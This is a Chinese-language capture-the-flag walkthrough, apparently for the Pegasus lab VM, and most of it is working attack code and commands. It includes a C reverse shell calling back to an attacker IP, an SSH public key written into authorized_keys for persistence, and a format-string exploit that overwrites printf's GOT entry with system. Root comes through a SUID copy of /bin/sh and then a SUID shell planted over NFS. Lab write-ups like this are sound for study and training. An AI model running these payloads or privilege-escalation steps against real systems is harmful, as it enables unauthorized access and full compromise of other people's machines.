扫描端口,web 服务开在了 8088
访问啥都没有,扫描一下目录试试
/submit.php
/codereview.php
他是向 submit.php 发送代码的
他说他会去执行代码,但是我只试了 php 的,wp 说是 C 语言的,找了个 C 语言的 shell
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
int tcp_port = 6666;
char *ip = "192.168.149.1";
void reverse_shell(){
int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return;
}
void main(int argc, char const *argv[])
{
reverse_shell();
return 0;
}
连上来了
把 wsl 的公钥写到 .ssh/authorized_keys 方便一点
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNZ8DG1O2XEkB3Z4M03qO08QjHKCVVxfy/6emzyKWMO+p1bf0+E+s9SzPWCTYmZ/lfsudWe9QcNTEKRluONKMr1tC/8bE/ornr2pm8b/nNZsmfKme18Qohz2JFgMk/GLYECTWDX10fnl1a2RzSBKpUZB7CASurQLcPiP93aevHFLmDT+0jkecB9Skw7fjwTvAJLyWpDbDH0pKyd1RqtdctwYxABkxlUzh613M8ypk1++E3I8baCY4g460yUExd4aw13IeDTcBMtkBDwJaiNiT7niZD04Hz4bckt+gKwJ64FxAsGYE9GtwNbGakjKsi54EkifKsySvJdpCy3RukGu/XURXVODODzn6luK8IXlxp5BKM5dkOkMWTnfBn3N4blaAcvVQA8TUSgF7e+OHAYwio2Y0M2qcli9vKTFV5hlsWnUohI7RLg08LzkMi5eEKxHDRy32zfcBLhLDtTuwUYmnWkgB/NRBTx82WGm8H5n1VlvXb2Co3cz0Kr9sJHMR/JJ8= root@DESKTOP-SP02IB7" > authorized_keys
my_first 权限有 s
用 nc 把那个文件拷贝出来
IDA 打开看一下,在计算功能这里有一个格式化字符串漏洞,具体漏洞利用的知识可以去看我的笔记:https://www.yuque.com/hxfqg9/bin/aedgn4
可以数出来,AAAA 是在第八个位置被 %p 解析
检查一下保护,没有 canary
靶机上 ASRL 是开着的
可以通过 ulimit -s unlimited
使得 ASLR 实际上没用
emmm,在搞个 peda
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
gdb 调试看一下,得到 system 的地址
然后通过把 printf 的 got 的中的内容改成 system 的真实地址来拿到 shell
printf@got:0x8049bfc
system:0x40069060
exp
from pwn import *
payload = ""
payload += "1\n" # selection #1
payload += "1\n" # first number
addr=0x8049bfc
payload+= p32(addr)+p32(addr+2)
payload+= "%36952u%8$n"+"%44966u%9$n"
#9060
#14406
print payload
额,靶机没有 pwntools
稍改一下
payload = ""
payload += "1\n" # selection #1
payload += "1\n" # first number
addr=0x8049bfc
payload+= "\xfc\x9b\x04\x08"+"\xfe\x9b\x04\x08"
payload+= "%36952u%8$n"+"%44966u%9$n"
#9060
#14406
print payload
但实际上这样执行的是 system("Selection:")
,在本地写个 Selection:
可执行程序,由 exp.c 编译而来 gcc -o "Selection:" exp.c
#include <stdio.h>
int main()
{
system("cp /bin/sh /tmp/john");
system("chmod 4777 /tmp/john");
}
同时 export PATH=$PATH:/home/mike
不然那个 Selection:
不加 ./
没法运行的
这时候 python exp.py | ./my_first
会在 /tmp 目录下生成 john
当程序拥有 john 的 suid 权限,以 mike 身份运行程序的时候 euid 会变成 john,这个时候再去使用 setreuid 交换 ruid 和 euid,就可以真正的变成 john 用户
去运行程序
#include <stdio.h>
void main(int argc, char *argv[]) {
setreuid(geteuid(), getuid());
execv("/bin/bash", argv);
}
sudo -l 发现 nfs 不用密码就可以以 root 权限执行(后面操作怕把电脑弄乱了就在虚拟机上操作了)
启动: sudo /usr/local/sbin/nfs start
然后在攻击机上创建一个用来挂载的文件夹
mkdir /mnt/pegasus
然后挂载上
mount -t nfs -o proto=tcp,port=2049 192.168.149.183:/opt/nfs /mnt/pegasus
创建一个文件并且给他权限
touch /mnt/pegasus/hack_shell
chmod 777 /mnt/pegasus/hack_shell
回到靶机,把 /bin/dash 拷过去
cp /bin/dash /opt/nfs/hack_shell
然后在攻击机上给他权限
chmod u+s /mnt/pegasus/hack_shell
chmod g+s /mnt/pegasus/hack_shell
这样在靶机一执行,就能拿到 root 权限